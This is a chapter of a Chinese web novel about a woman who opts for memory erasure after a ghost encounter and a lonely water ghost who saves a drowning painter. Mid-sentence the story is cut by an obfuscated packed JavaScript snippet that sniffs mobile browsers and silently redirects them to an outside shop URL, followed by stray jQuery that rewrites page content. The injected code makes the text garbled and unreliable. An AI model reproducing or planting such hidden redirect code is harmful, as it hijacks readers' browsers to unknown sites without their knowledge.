事务局附属医院,虞兰坐在诊疗室外的长椅上,指尖不自觉摩挲着预检分诊单,多年的社畜经验让她习惯在等待间隙默默复盘。
实际上,在来医院的路上,喻青阳已经在公务车里盘问过一轮了。除了时间线、身份关系等常规问题之外,着重询问了前后异常,还有关于江荻——也就是溪湖里的那个水鬼的信息。
虞兰大致察觉到官方对于这一类非人存在的态度了,实在是微妙,默许中带着点压制与防备,这种扭曲的情况在职场中简直不要太常见。
这反倒让虞兰的心稍稍放下了一些,毕竟事情的巧合实在是太多了:恰好水鬼“好心”送了一把伞,恰好在险境中起到了关键作用,恰好城中村里那只地缚灵控制陈韵联系她的时机与水鬼前后脚错开……
偏偏又是水和火,喻青阳就差没有直接指出这可能是一个精心设计的险境了。
做检查的过程倒是很快,虞兰很遗憾检查费用不给报销、确实无法定义为工伤,但好歹可以刷医保。
候诊区外早已有人等候,虞兰甫一出来就亲切地将她引到询问室了。流程规范、手续齐全、程序正当,一毕业就在公司摸爬滚打的虞兰对此肃然起敬,一颗心总算是放在肚子里了。
询问室的工作人员比虞兰想象中要和善得多,做笔录之余还耐心为她解答了很多疑问。
“这个世界上这种——鬼怪之类的存在,很多吗?”虞兰不知道如何正确称呼,只能用最大众的方式含糊指代。
胡书言眨了眨眼,“不少。但请您放心,官方针对鬼怪妖异有一套严格的、完整的应对措施,建立了常态化管理机制,目前本市已经开始了专项整治行动。”
脑子顿时闪过一堆官方公告,虞兰与对方对视了几分钟,整个询问室顿时就安静了下来,胡书言仿佛没有察觉到尴尬的氛围,依旧笑眯眯地对着她。
“所以,为什么陈韵会被选中?普通人应该如何规避这种情况?还是说纯看运气。”虞兰换了一个话题。
“经过初步判断,嫌疑‘鬼’应当是通过某种方式与受害者结阴亲,‘良辰吉日’一到,受害者就会在自身难以察觉的情况下赴约。”胡书言并没有对她隐瞒事件经过,“请虞小姐放心,我们事务局会全力保障每一位公民的人身安全。”
很好,看来这种事情确实是看运气的,虞兰默默在周末的安排里添加了额外的行程。“那我为什么会出现在城中村?结阴亲的毕竟不是我。”虞兰嘴角噙笑,好奇似地提了一个略显冷漠的问题。
胡书言挑了挑眉,她倒是没有想过这个人类会这么问,挺有意思的。“虞小姐出现在现场大概率是因为——那通电话。从来没有接触过鬼怪妖异存在的普通人往往很容易被蛊惑。没记错的话,虞小姐当时正在与另一个,嗯,水鬼产生交集,在你潜意识察觉到不对劲、心神不安的情况下,对方趁虚而入的成功率提升了不少。”
“正常来说,没有接触过、没有相关概念的普通人是不会陷入这种境地的,”胡书言又将话题拐了回来。
虞兰若有所思地点点头,敏锐察觉到对方前后说辞的不同。
果不其然,胡书言下一刻便展露了她的目的:“虞小姐,陈小姐那边已经做完了全部的笔录,确认接受记忆消除,不知道你是否有意向消除所有关于鬼怪妖异的记忆?”
两份文书被利索地摆在虞兰面前的桌上,胡书言用笔指了指左边,“如果希望保留记忆,是需要你这边和我们签署一下保密协议的,后期我们会不定时进行回访。”
语毕,稍微停顿了一点时间给虞兰思考,又指了指右边——“如果您更倾向于消除记忆,那需要你在这份手术知情同意书上签字。”
“虽然说是手术知情同意书,但事实上清除记忆的过程和普通的输液没什么区别,缓慢但有效、微创,医保可以报销哦。”胡书言眼弯弯补充道。
虞兰看着眼前两份文件,没怎么犹豫,手伸向了右边。
毕竟前二十多年她一直生活在一个正常的、唯物的世界里,也许的确存在一些烦恼,可这不意味着她想迈入另外一个波谲云诡的世界中去。胡书言没有直说,一旦意识到某些存在,越是恐惧、越是关注它们,就越容易与它们建立起链接。
风险过大,让虞兰隐隐觉得失去了掌控感——当某一天突然意识到自己身边其实充满了危险,作为普通人的她只能眼睁睁看着危险逼近,凡胎□□很难有反抗的手段。她早已过了中二的时期,拯救世界与她无关,挑战未知更是无稽之言,社畜只想回归普通、平淡的日常。
正如胡书言所说,事务局办事流程很快。等虞兰再次回过神来的时候,她已经窝在公寓的懒人沙发里了。脑袋一阵一阵地发昏,像是灌满了水泥似的,虞兰扶了扶脑袋,瞥见手背上的针孔,脑海里恍惚间闪过几个片段,自己似乎在吊水,旁边还坐着,坐着陈韵。
费力抬起手机查询账单,见鬼的,不能报销工伤,走的医保,照例骂了几句资本家黑心,才开始处理起今日代办工作。
真是浑浑噩噩的一天,不,半天——去了哪?见了谁?干了什么?
隐隐绰绰地,虞兰一件连贯的事都想不起来,隐约间只记得似乎是和家人吵了一架,莫非自己是被气进医院的,她什么时候气性这么大了。再回想起来只觉得心如止水,算不得什么,颇有种看破红尘的意味。
*
溪湖自修缮后就一直高居当地人最爱去的地方榜首,最大的功臣当属那一池又大又艳的荷花。
说来也怪,这湖里的荷花终年不败,人流量却一直不大,A城人民对此众说纷纭。
一说是古时候溪湖还只是一汪泉眼,不知何时起这泉眼中蕴养出一条小蛇,漫漫修行路,久到泉变成了池,池再漫成了潭,潭扩成了湖,它终是化蛟、又飞升为龙,反哺的灵气蕴养着如今溪湖的前身。
一说是这湖其实是上古时期战神的陨落之处,那一次的神魔大战对生灵造成了毁灭性的打击,幸存的神仙极力补救,花神四处奔波心力交瘁,在此为爱人流干了最后一滴泪,而后耗尽仅剩的一点神力化身一捧芙蕖,只为长久陪伴祂。
周晋缓步踏在石子路上,阳光穿过茂密的枝叶,宛如一小滩蜂蜜泼洒在青年薄到隐约能看见血管的眼皮上,他下意识眯了眯眼,顺势往上提了提背后往下坠的画包。
回想起老师对他画树荫水波的评价,周晋就忍不住叹起气来。
他怕水,不仅仅是因为他从小就属旱鸭子、完全不会游泳,更因为水属阴,相较于水本身,周晋对于鬼的恐惧远在其上。
所以他这次依旧选择谨慎地在离水有一定距离的地方支起了画架。
江荻巡逻到此处时,周晋已经画了好一会儿了。小水鬼严肃地观察着,得出一个结论——
这次他离水边更近了。
比起三天前的位置。
也不知是不是心理作用,江荻总觉得他变得更加清晰了一些,就像水果糖终于剥开了那一层玻璃糖纸。
暖烘烘的阳光肆无忌惮地洒在青年的身上,十分慷慨地为他蒙上一层朦胧的光晕。她仿佛能看到他睫羽反射着金黄的光泽,纤长、粉白的指间握着画笔,薄而润的侧掌沾染了些许颜料,但周晋本人好像并不在意这些微末细节。
哇——噻——
江荻见到这一幕眼睛都睁圆了,沉寂已久的心脏再次有力跳动起来,仿佛又回到了被两杆钓鱼竿困住的那一天,被施了定身咒一般钉在原地。
周晋画了多久,她就画了多久,灼热的目光在他的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913766|213247||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上、身上、指间不断流连,不知道为什么这个人今天对她充满了吸引力,怎么都看不够。
树叶投下的阴影移了好几个位置,眼见他收拾东西即将离开,江荻心底突然涌上一股说不清道不明的冲动,想让他再留一会儿,就多一会儿。
更近一点。
各色各样的想法像鱼儿吐的泡泡一样,一个接着一个从心底升起,飘到喉间再毫无预兆地炸开。
悄无声息又震耳欲聋。
江荻歪了歪头,尝试转移注意力,原来她不仅是个水鬼,还是个色鬼啊。这个想法一出来,整个下午的异状顿时有了一个合理的解释,她认同地点了点头,两根小巧的麻花辫在水中微微晃动。
该怎么让他留下来呢?江荻毫无头绪,全然忘记自己水鬼的身份和能力。
他明天会来吗?虽然他并不知道她的存在,湖边写生也许只是他临时起意,但她莫名其妙就觉得心底很暖、很暖、暖到有些烫,这应该就是幸福的鼓胀感吧,胀得胃有些发出轻微的鸣声。
江荻再次咽了咽口水,眼底黑意似有若无加重了些许。
这是一种哪怕在生前她都没有的感受,想到这,江荻思绪不禁飘远。
生前……那好像是很久之前的事了……
在家里她好像一直都是个隐形人,隐形到自从她掉湖里溺亡以来,她在湖边见过了形形色色的人,却没有一次见到自己熟悉的面孔。
刚成为水鬼的那段日子里,她没日没夜盯着湖边,生怕自己错过什么,可时间一长,渐渐地,她好像明白了什么,意外平静的接受了这个结果。
想到这她有点不开心,或者说有些生气,在水里连吐了好几个大泡泡才消气。
这是为数不多的、江荻感受到心里、不,是整个内脏都暖烘烘的时刻。也许这就是陪伴的滋味——谁让钓鱼佬老敲到她的头,而郑阿姨来得少之又少,她才不是故意忽略他们的。
所以你明天能不能来呢?后天也行,总之……这一次不要是最后一次好不好?江荻很喜欢这种暖烘烘的感觉,水里太冷了。
她开始在心里无声的邀请着,在水里悄悄转了一个又一个圈,继续在心里小声地劝着对方,这里景色很好的!不只是晴天,雨天也很不错,嗯……日出好看,日落也好看,初雪更好看!
周晋收拾东西的动作已经接近了尾声,她已经开始思考水鬼上岸的可能性了。
算了,好——麻——烦——
都当鬼了为什么还要去思考,思考出结果之后难不成还要她努力吗?江荻撇撇嘴,有些不高兴,世上无难事,只要肯放弃。
反正从小她就明白,不要有期待、不要拥有,这样就不会失望了。
对嘛,这才是她应该牢记的,刚刚她一定是被水糊住脑子了,果然是在水里呆久了。
一定是被鬼迷了心窍!
想通之后,她决定顺着水飘走,老师说的对,得多看、多听……还有什么来着?不管了,肯定是她这只小水鬼太没见识,所以才会这样。
等周晋走了她立刻继续巡逻工作。
一人一鬼没注意到的地方,一缕湿发贴着地面蜿蜒前进,晃晃悠悠潜行到周晋的脚边,像条蓄势待发准备捕猎的小蛇。
小水鬼还没飘走多远的距离,就听到“噗通”一声,好像是重物入水的声音。她急忙回头,哎呀,这人怎么这么不小心!
溺水的滋味很不好受,这一点江荻曾深刻体会过,所以每次救溺水的人,她都会竭尽全力。
周晋明显是个不会水的,求生欲让他在水里不停扑腾,江荻虽想救人,但也不想被打到,一时半刻不好近身,只好等他挣扎的幅度逐渐变缓才去托住他的腰,两只脚微微一摆,借助水的力量让男人的脸浮出水面。